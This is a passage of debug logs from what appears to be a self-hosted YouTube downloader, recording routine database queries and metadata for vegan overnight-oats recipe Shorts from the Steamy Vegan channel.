s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:43.901 [debug] QUERY OK source="media_items" db=1.9ms idle=1003.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-02 18:30:42Z], 1] 20:28:43.902 [debug] QUERY OK source="media_items" db=1.0ms idle=1005.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These overnight oats are quick and easy to make and they're gluten free, vegan, soy free, and nut free. If you like the taste of pina coladas then you'll love this non-alcoholic overnight oats version of that flavor. And if you're in the mood you could always add some rum into these.\n\nFull Recipe Video: https://youtu.be/jEROCt5Y_pQ\n\nSubscribe for more vegan and gluten free recipes posted every week. Thanks for your support! Janelle", "Do You Like Piña Coladas?", "92387e24-c9a0-4d98-beed-a790f4620e48", 1, [], 11, false, "p9_-sluu3Vo", "https://www.youtube.com/shorts/p9_-sluu3Vo", 339, "/downloads/downloads/alec/Steamy Vegan/2022-07-02 Do You Like Piña Coladas?/Do You Like Piña Coladas? [p9_-sluu3Vo].NA", false, false, true, 1, ~U[2022-07-02 18:30:42Z], ~U[2026-03-22 03:28:43Z], ~U[2026-03-22 03:28:43Z], "These overnight oats are quick and easy to make and they're gluten free, vegan, soy free, and nut free. If you like the taste of pina coladas then you'll love this non-alcoholic overnight oats version of that flavor. And if you're in the mood you could always add some rum into these.\n\nFull Recipe Video: https://youtu.be/jEROCt5Y_pQ\n\nSubscribe for more vegan and gluten free recipes posted every week. Thanks for your support! Janelle", "Do You Like Piña Coladas?", 1, 11, false, "p9_-sluu3Vo", "https://www.youtube.com/shorts/p9_-sluu3Vo", "/downloads/downloads/alec/Steamy Vegan/2022-07-02 Do You Like Piña Coladas?/Do You Like Piña Coladas? [p9_-sluu3Vo].NA", true, ~U[2022-07-02 18:30:42Z]] 20:28:43.903 [debug] QUERY OK source="sources" db=0.2ms queue=0.2ms idle=534.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:43.904 [debug] QUERY OK source="media_profiles" db=0.7ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:43.905 [debug] QUERY OK source="media_items" db=0.7ms idle=5.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [728] 20:28:43.905 [debug] Current batch of media processed. Will check again in 1000ms 20:28:44.906 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "These Lemon Lavender Earl Grey Overnight Oats come together in just one bowl or jar, and couldn’t be simpler to whip up! \n\nThe combination of lemon and lavender has become pretty popular in food culture lately, and so has lavender and early grey… so why not mash all of these flavour combos together? Well that’s just what I did with these incredibly delicious Lemon Lavender Earl Grey Overnight Oats!\n\nAdd all the the ingredients into a bowl or mason jar, and stir very well until they’re throughly combined.\nTop with fresh or frozen berries and optionally, extra lemon zest and lavender, and cover with the lid.\nPlace in the fridge overnight (or for a minimum of 4 hours), wake up and enjoy your delicious breakfast!\n\nFULL RECIPE BLOG: https://steamyvegankitchen.com/lemon-lavender-earl-grey-overnight-oats/\nCHECK OUT ALL MY OVERNIGHT OATS! https://youtu.be/jEROCt5Y_pQ\n\nMusic by ninjoi. - Acceptance - https://thmatc.co/?l=EA4B37B8", "duration" => 60, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-01 Lemon Lavender Earl Grey ☕️ 🍋 OVERNIGHT OATS! Vegan and gluten-free 😋/Lemon Lavender Earl Grey ☕️ 🍋 OVERNIGHT OATS! Vegan and gluten-free 😋 [RPDrS0lpd2s].NA", "id" => "RPDrS0lpd2s", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/RPDrS0lpd2s", "playlist_index" => 340, "timestamp" => 1656690327, "title" => "Lemon Lavender Earl Grey ☕️ 🍋 OVERNIGHT OATS! Vegan and gluten-free 😋", "upload_date" => "20220701"} 20:28:44.907 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1004.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:44.908 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=1004.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:44.912 [debug] QUERY OK source="media_items" db=4.1ms idle=1003.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-01 15:45:27Z], 1] 20:28:44.915 [debug] QUERY OK source="media_items" db=1.9ms idle=1007.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These Lemon Lavender Earl Grey Overnight Oats come together in just one bowl or jar, and couldn’t be simpler to whip up! \n\nThe combination of lemon and lavender has become pretty popular in food culture lately, and so has lavender and early grey… so why not mash all of these flavour combos together? Well that’s just what I did with these incredibly delicious Lemon Lavender Earl Grey Overnight Oats!\n\nAdd all the the ingredients into a bowl or mason jar, and stir very well until they’re throughly combined.\nTop with fresh or frozen berries and optionally, extra lemon zest and lavender, and cover with the lid.\nPlace in the fridge overnight (or for a minimum of 4 hours), wake up and enjoy your delicious breakfast!\n\nFULL RECIPE BLOG: https://steamyvegankitchen.com/lemon-lavender-earl-grey-overnight-oats/\nCHECK OUT ALL MY OVERNIGHT OATS! https://youtu.be/jEROCt5Y_pQ\n\nMusic by ninjoi. - Acceptance - https://thmatc.co/?l=EA4B37B8", "Lemon Lavender Earl Grey ☕️ 🍋 OVERNIGHT OATS! Vegan and gluten-free 😋", "4fa4737f-892e-4e0f-a74f-140154f874a5", 1, [], 60, false, "RPDrS0lpd2s", "https://www.youtube.com/shorts/RPDrS0lpd2s", 340, "/downloads/downloads/alec/Steamy Vegan/2022-07-01 Lemon Lavender Earl Grey ☕️ 🍋 OVERNIGHT OATS! Vegan and gluten-free 😋/Lemon Lavender Earl Grey ☕️ 🍋 OVERNIGHT OATS! Vegan and gluten-free 😋 [RPDrS0lpd2s].NA", false, false, true, 0, ~U[2022-07-01 15:45:27Z], ~U[2026-03-22 03:28:44Z], ~U[2026-03-22 03:28:44Z], "These Lemon Lavender Earl Grey Overnight Oats come together in just one bowl or jar, and couldn’t be simpler to whip up! \n\nThe combination of lemon and lavender has become pretty popular in food culture lately, and so has lavender and early grey… so why not mash all of these flavour combos together? Well that’s just what I did with these incredibly delicious Lemon Lavender Earl Grey Overnight Oats!\n\nAdd all the the ingredients into a bowl or mason jar, and stir very well until they’re throughly combined.\nTop with fresh or frozen berries and optionally, extra lemon zest and lavender, and cover with the lid.\nPlace in the fridge overnight (or for a minimum of 4 hours), wake up and enjoy your delicious breakfast!\n\nFULL RECIPE BLOG: https://steamyvegankitchen.com/lemon-lavender-earl-grey-overnight-oats/\nCHECK OUT ALL MY OVERNIGHT OATS! https://youtu.be/jEROCt5Y_pQ\n\nMusic by ninjoi. - Acceptance - https://thmatc.co/?l=EA4B37B8", "Lemon Lavender Earl Grey ☕️ 🍋 OVERNIGHT OATS! Vegan and gluten-free 😋", 1, 60, false, "RPDrS0lpd2s", "https://www.youtube.com/shorts/RPDrS0lpd2s", "/downloads/downloads/alec/Steamy Vegan/2022-07-01 Lemon Lavender Earl Grey ☕️ 🍋 OVERNIGHT OATS! Vegan and gluten-free 😋/Lemon Lavender Earl Grey ☕️ 🍋 OVERNIGHT OATS! Vegan and gluten-free 😋 [RPDrS0lpd2s].NA", true, ~U[2022-07-01 15:45:27Z]] 20:28:44.916 [debug] QUERY OK source="sources" db=0.5ms idle=545.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:44.917 [debug] QUERY OK source="media_profiles" db=1.0ms idle=8.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:44.918 [debug] QUERY OK source="media_items" db=0.3ms idle=9.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [729] 20:28:44.918 [debug] Current batch of media processed. Will check again in 1000ms 20:28:45.547 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:45.919 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I am absolutely addicted to these vegan, gluten free, and nut free strawberry rhubarb overnight oats. Full recipe video here: https://youtu.be/jEROCt5Y_pQ", "duration" => 16, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-30 I’ve Been Making These Overnight Oats Almost Every Day This Week/I’ve Been Making These Overnight Oats Almost Every Day This Week [IxL1wll9J3A].NA", "id" => "IxL1wll9J3A", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/IxL1wll9J3A", "playlist_index" => 341, "timestamp" => 1656612005, "title" => "I’ve Been Making These Overnight Oats Almost Every Day This Week", "upload_date" => "20220630"} 20:28:45.920 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:45.921 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:45.924 [debug] QUERY OK source="media_items" db=2.7ms idle=1003.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-30 18:00:05Z], 1] 20:28:45.927 [debug] QUERY OK source="media_items" db=1.7ms idle=552.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I am absolutely addicted to these vegan, gluten free, and nut free strawberry rhubarb overnight oats. Full recipe video here: https://youtu.be/jEROCt5Y_pQ", "I’ve Been Making These Overnight Oats Almost Every Day This Week", "4df5f764-8417-4b83-b8ce-a5a417870be8", 1, [], 16, false, "IxL1wll9J3A", "https://www.youtube.com/shorts/IxL1wll9J3A", 341, "/downloads/downloads/alec/Steamy Vegan/2022-06-30 I’ve Been Making These Overnight Oats Almost Every Day This Week/I’ve Been Making These Overnight Oats Almost Every Day This Week [IxL1wll9J3A].NA", false, false, true, 0, ~U[2022-06-30 18:00:05Z], ~U[2026-03-22 03:28:45Z], ~U[2026-03-22 03:28:45Z], "I am absolutely addicted to these vegan, gluten free, and nut free strawberry rhubarb overnight oats. Full recipe video here: https://youtu.be/jEROCt5Y_pQ", "I’ve Been Making These Overnight Oats Almost Every Day This Week", 1, 16, false, "IxL1wll9J3A", "https://www.youtube.com/shorts/IxL1wll9J3A", "/downloads/downloads/alec/Steamy Vegan/2022-06-30 I’ve Been Making These Overnight Oats Almost Every Day This Week/I’ve Been Making These Overnight Oats Almost Every Day This Week [IxL1wll9J3A].NA", true, ~U[2022-06-30 18:00:05Z]] 20:28:45.927 [debug] QUERY OK source="sources" db=0.5ms idle=379.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:45.928 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.2ms idle=7.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:45.929 [debug] QUERY OK source="media_items" db=0.7ms idle=7.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [730] 20:28:45.930 [debug] Current batch of media processed. Will check again in 1000ms 20:28:46.931 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I love cooking up a steamy bowl of veggie noodle soup or a hot plate of butternut squash risotto on a rainy day. These foods are so comforting and warm up your soul. \n\nSubscribe to my channel for plenty more vegan and gluten free recipes to warm your soul! Thanks for your support! Janelle", "duration" => 14, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-30 Hot and Steamy Dishes on a Cool Day/Hot and Steamy Dishes on a Cool Day [XuYleQ_85xg].NA", "id" => "XuYleQ_85xg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/XuYleQ_85xg", "playlist_index" => 342, "timestamp" => 1656597617, "title" => "Hot and Steamy Dishes on a Cool Day", "upload_date" => "20220630"} 20:28:46.932 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1004.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:46.933 [debug] QUERY OK source="sources" db=0.4ms idle=1005.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:46.935 [debug] QUERY OK source="media_items" db=2.1ms idle=1004.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-30 14:00:17Z], 1] 20:28:46.937 [debug] QUERY OK source="media_items" db=0.8ms idle=1006.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I love cooking up a steamy bowl of veggie noodle soup or a hot plate of butternut squash risotto on a rainy day. These foods are so comforting and warm up your soul. \n\nSubscribe to my channel for plenty more vegan and gluten free recipes to warm your soul! Thanks for your support! Janelle", "Hot and Steamy Dishes on a Cool Day", "59e4680e-c6e3-4cec-b319-437869c86eca", 1, [], 14, false, "XuYleQ_85xg", "https://www.youtube.com/shorts/XuYleQ_85xg", 342, "/downloads/downloads/alec/Steamy Vegan/2022-06-30 Hot and Steamy Dishes on a Cool Day/Hot and Steamy Dishes on a Cool Day [XuYleQ_85xg].NA", false, false, true, 1, ~U[2022-06-30 14:00:17Z], ~U[2026-03-22 03:28:46Z], ~U[2026-03-22 03:28:46Z], "I love cooking up a steamy bowl of veggie noodle soup or a hot plate of butternut squash risotto on a rainy day. These foods are so comforting and warm up your soul. \n\nSubscribe to my channel for plenty more vegan and gluten free recipes to warm your soul! Thanks for your support! Janelle", "Hot and Steamy Dishes on a Cool Day", 1, 14, false, "XuYleQ_85xg", "https://www.youtube.com/shorts/XuYleQ_85xg", "/downloads/downloads/alec/Steamy Vegan/2022-06-30 Hot and Steamy Dishes on a Cool Day/Hot and Steamy Dishes on a Cool Day [XuYleQ_85xg].NA", true, ~U[2022-06-30 14:00:17Z]] 20:28:46.937 [debug] QUERY OK source="sources" db=0.3ms idle=562.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:46.938 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:46.938 [debug] QUERY OK source="media_items" db=0.4ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [731] 20:28:46.938 [debug] Current batch of media processed. Will check again in 1000ms 20:28:47.939 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Breakfast is my favorite meal of the day and when I decided to go vegan and gluten free it became the hardest meal to make. After years of recipe testing and trying out different vegan and gluten free recipes, I've replicated some of my favorite meals and made them even better. If you've had to make some adjustments to your diet like going nut free, dairy free, gluten free, lower cholesterol or go vegan then I've got you covered so you can enjoy your best meals of the day.\n\nSubscribe for more daily content and weekly recipe videos! Thanks for your support! Janelle", "duration" => 14, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-30 Level Up Your Breakfast Game/Level Up Your Breakfast Game [-XsWZGBk8q8].NA", "id" => "-XsWZGBk8q8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/-XsWZGBk8q8", "playlist_index" => 343, "timestamp" => 1656547200, "title" => "Level Up Your Breakfast Game", "upload_date" => "20220630"} 20:28:47.940 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1002.8ms SELECT s0."id", s0."enabled", 